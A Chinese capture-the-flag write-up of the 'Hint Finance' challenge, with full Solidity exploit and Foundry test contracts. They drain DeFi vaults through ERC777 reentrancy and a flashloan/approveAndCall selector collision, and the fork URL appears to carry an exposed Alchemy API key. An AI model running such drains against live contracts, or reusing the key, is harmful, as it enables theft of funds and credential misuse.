Hint finance
function isSolved() public view returns (bool) {
for (uint256 i = 0; i < underlyingTokens.length; ++i) {
address vault = hintFinanceFactory.underlyingToVault(underlyingTokens[i]);
uint256 vaultUnderlyingBalance = ERC20Like(underlyingTokens[i]).balanceOf(vault);
if (vaultUnderlyingBalance > initialUnderlyingBalances[i] / 100) {
return false;
}
}
return true;
}
这是一个主网的fork,三个underlying token分别是:PNT,SAND,AMP;其中,PNT 和 AMP都是777 token,在transfer之前和之后都有callback回掉。而SAND token是一个ERC20 Token。
可以访问这个链接查看具体的777标准。简单概括,该标准要求ERC777 token的发送方和接受方要到EIP-1820这个地址上进行注册,注册时,需要调用setInterfaceImplementer
方法,传入需要注册的key和address;
EIP1820Like(EIP1820).setInterfaceImplementer(
address(this), keccak256("AmpTokensRecipient"), address(this)
);
EIP1820Like(EIP1820).setInterfaceImplementer(
address(this), keccak256("ERC777TokensRecipient"), address(this)
);
ERC777 token会在transfer里面,分别去判断一下:
function transferFrom(address holder, address recipient, uint256 amount) public virtual override returns (bool) {
require(recipient != address(0), "ERC777: transfer to the zero address");
require(holder != address(0), "ERC777: transfer from the zero address");
address spender = _msgSender();
_callTokensToSend(spender, holder, recipient, amount, "", "");
_move(spender, holder, recipient, amount, "", "");
_approve(holder, spender, _allowances[holder][spender].sub(amount, "ERC777: transfer amount exceeds allowance"));
_callTokensReceived(spender, holder, recipient, amount, "", "", false);
return true;
}
其中的_callTokensToSend
就是from地址的callback,_callTokensReceived
就是to地址的callback;
因为777 token有callback,而观察deposit
和withdraw
函数都没有nonReentrant
这一个限制,所以最先想到的是通过重入的方式来做尝试。
然后,进一步分析withdraw函数,可以看到其并不符合check-effect-intreact
模式,在token的转账这一个外部调用之后,还有账本的更改。所以我们可以利用这一点,即在转账过程中,账本保持原样,这里是totalSupply这个值还是原始值。然后重入到deposit函数中,可以看到share的计算中,其计算公式如下:
$$
share = amount \times \frac{totalSupply}{balance}
$$
由于已经发生了tranfer,balance会降低,然后totalSupply此时还没有更新,所以totalSupply保持不变。从而是的我们的share会比正常情况下,大很多倍。
当重入到deposit中的大很多的share后,在回到withdraw里继续执行,扣除一小部分share,这样我们通过这次重入可以拿到整个vault的绝大部分share。
此时,我们可以再次调用withdraw函数,走正常的函数调用逻辑,不重入,取出所有的share对应的token,这样就满足题意。
如下所示:
function start2() public {
uint256 share = HintFinanceVault(vault).totalSupply();
emit log_named_uint("init share", share);
prevAmount = (share - 1);
HintFinanceVault(vault).withdraw(share - 1);
HintFinanceVault(vault).withdraw(HintFinanceVault(vault).balanceOf(address(this)));
emit log_named_uint("token left", ERC20Like(token).balanceOf(address(vault)));
}
Sand token是一个普通的ERC20合约,故其无法通过类似于777的callback来完成hack,需要进一步查看sand token的合约逻辑。 从Sand的合约中,我们注意到这样的一个函数:
function approveAndCall(
address target,
uint256 amount,
bytes calldata data
) external payable returns (bytes memory) {
require(
BytesUtil.doFirstParamEqualsAddress(data, msg.sender),
"first param != sender"
);
_approveFor(msg.sender, target, amount);
// solium-disable-next-line security/no-call-value
(bool success, bytes memory returnData) = target.call.value(msg.value)(data);
require(success, string(returnData));
return returnData;
}
这个函数不是EIP20的标准函数。
另外我们在Vault合约里,也注意到一个flashloan函数,该flashloan函数同样也没有nonReentrant
,并且该flashloan的一个callback函数是:
function onHintFinanceFlashloan(
address token,
address factory,
uint256 amount,
bool isUnderlyingOrReward,
bytes memory data
) external;
针对ERC20,有一种常见的攻击模式,即想办法使得token的owner给hacker进行approve操作,通常这是一种钓鱼手法,但是在很多支持flashloan的合约中,可以让合约来给我进行approve。这样就可以在满足flashloan的前提下,即不直接拿走vault的token,但是让其对hacker进行approve了。
所以这里的思路是,如何让vault合约作为msg.sender,调用token合约的approve方法。
可以利用flashloan的callback来实现,但是该callback的函数方法写死了,是onHintFinanceFlashloan
,并不是一个可以任意传的值,即不是address(caller).call(data)
但是同时注意到,函数onHintFinanceFlashloan
和函数approveAndCall
有着相同的函数签名,那么就可以利用这种方式。
但是在具体的编写过程中,需要注意到如何正确的对calldata进行编码:
针对calldata进行编码时,要由外到内,首先编码出approveAndCall中传入的data,这个data是调用flashloan的calldata,即data要满足lashloan(address token, uint256 amount, bytes calldata data)
这个函数;
则,data = abi.encodeWithSelector(HintFinanceVault.flashloan.selector, address(this), amount, innerData)
然后,在来查看innerData的编码方式,他需要同时满足onHintFinanceFlashloan
和approveAndCall
两个函数;将两个函数的参数对齐如下:
address target address token 0x20
uint256 amountLeft address factory 0x40
0xa0 uint256 amountRight 0x60
0 bool isUnderlying 0x80
bytes memory innerdata bytes memory data 0xa0
所以根据approveAndCall的执行逻辑,即innerdata的第一个参数是msg.sender. 因为这里是Vault调用的approveAndCall,所以第一个参数应该是address(vault)。第二个参数是由flashlaon合约指定的,为address(factory), 即:target = vault, amountLeft = uint256(factory)
这里需要明确innerdata的占位符,即amountRight的值, 这里为保证符合approveAndCall
的要求,即第三个参数是一个bytes memory。
另外需要注意到,calldata的length也必须要合法,上面的len应该是: 0x20 * 5 + len(balanceOf), 所以需要额外在balanceOf里面,加上0;
注意到这里的innerdata,会在approveAndCall里再次调用,所以innerdata必须是一个合法的calldata.
function start3() public {
uint256 amount = 0xa0;
bytes memory innerData =
abi.encodeWithSelector(ERC20Like.balanceOf.selector, address(vault), 0);
bytes memory data = abi.encodeWithSelector(
HintFinanceVault.flashloan.selector, address(this), amount, innerData
);
SandLike(token).approveAndCall(vault, amount, data);
ERC20Like(token).transferFrom(vault, address(this), ERC20Like(token).balanceOf(vault));
emit log_named_uint("token left 3", ERC20Like(token).balanceOf(address(vault)));
}
pragma solidity 0.8.16;
import "ds-test/test.sol";
import "forge-std/stdlib.sol";
import "forge-std/Vm.sol";
contract Addrs is DSTest, stdCheats {
address[3] public underlyingTokens = [
0x89Ab32156e46F46D02ade3FEcbe5Fc4243B9AAeD,
///PNT 777
0x3845badAde8e6dFF049820680d1F14bD3903a5d0,
///SAND
0xfF20817765cB7f73d4bde2e66e067E58D11095C2
///AMP 777
];
address public EIP1820 = 0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24;
}
interface EIP1820Like {
function setInterfaceImplementer(address account, bytes32 interfaceHash, address implementer)
external;
}
interface SandLike {
function approveAndCall(address target, uint256 amount, bytes calldata data) external;
}
contract Hack is Addrs {
HintFinanceFactory public hintFinanceFactory;
address[3] public vaults;
uint256 public prevAmount;
address public vault;
address public token;
constructor(HintFinanceFactory _hintFinanceFactory) {
hintFinanceFactory = _hintFinanceFactory;
for (uint256 i = 0; i < 3; i++) {
vaults[i] = hintFinanceFactory.underlyingToVault(underlyingTokens[i]);
ERC20Like(underlyingTokens[i]).approve(vaults[i], type(uint256).max);
}
EIP1820Like(EIP1820).setInterfaceImplementer(
address(this), keccak256("AmpTokensRecipient"), address(this)
);
EIP1820Like(EIP1820).setInterfaceImplementer(
address(this), keccak256("ERC777TokensRecipient"), address(this)
);
}
function start() public {
vault = vaults[0];
token = underlyingTokens[0];
start2();
vault = vaults[2];
token = underlyingTokens[2];
start2();
vault = vaults[1];
token = underlyingTokens[1];
start3();
}
function start3() public {
uint256 amount = 0xa0;
bytes memory innerData =
abi.encodeWithSelector(ERC20Like.balanceOf.selector, address(vault), 0);
bytes memory data = abi.encodeWithSelector(
HintFinanceVault.flashloan.selector, address(this), amount, innerData
);
SandLike(token).approveAndCall(vault, amount, data);
ERC20Like(token).transferFrom(vault, address(this), ERC20Like(token).balanceOf(vault));
emit log_named_uint("token left 3", ERC20Like(token).balanceOf(address(vault)));
}
function transfer(address, uint256) external returns (bool) {
return true;
}
function balanceOf(address) external view returns (uint256) {
return 1 ether;
}
function start2() public {
uint256 share = HintFinanceVault(vault).totalSupply();
emit log_named_uint("init share", share);
prevAmount = (share - 1);
HintFinanceVault(vault).withdraw(share - 1);
HintFinanceVault(vault).withdraw(HintFinanceVault(vault).balanceOf(address(this)));
emit log_named_uint("token left", ERC20Like(token).balanceOf(address(vault)));
}
function tokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes calldata userData,
bytes calldata operatorData
)
external
{
if (amount == prevAmount) {
emit log_named_uint("amount", amount);
uint256 share = HintFinanceVault(vault).deposit(amount / 2);
emit log_named_uint("share", share);
}
}
function tokensReceived(
bytes4 functionSig,
bytes32 partition,
address operator,
address from,
address to,
uint256 value,
bytes calldata data,
bytes calldata operatorData
)
external
{
if (value == prevAmount) {
emit log_named_uint("amount", value);
uint256 share = HintFinanceVault(vault).deposit(value / 2);
emit log_named_uint("share", share);
}
}
function tokensToSend(
address operator,
address from,
address to,
uint256 amount,
bytes calldata userData,
bytes calldata operatorData
)
external
{}
}
import "./public/contracts/Setup.sol";
contract POC is Addrs {
Hack public hack;
Vm public vm = Vm(HEVM_ADDRESS);
Setup public setUpInstance;
HintFinanceFactory public hintFinanceFactory;
function setUp() public {
vm.createSelectFork(
"https://eth-mainnet.alchemyapi.io/v2/7Brn0mxZnlMWbHf0yqAEicmsgKdLJGmA", 15409399
);
setUpInstance = new Setup{value: 1000 ether}();
hintFinanceFactory = setUpInstance.hintFinanceFactory();
hack = new Hack(hintFinanceFactory);
}
function test_Start() public {
hack.start();
}
function _test_Start2() public {
hack.start2();
}
}
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!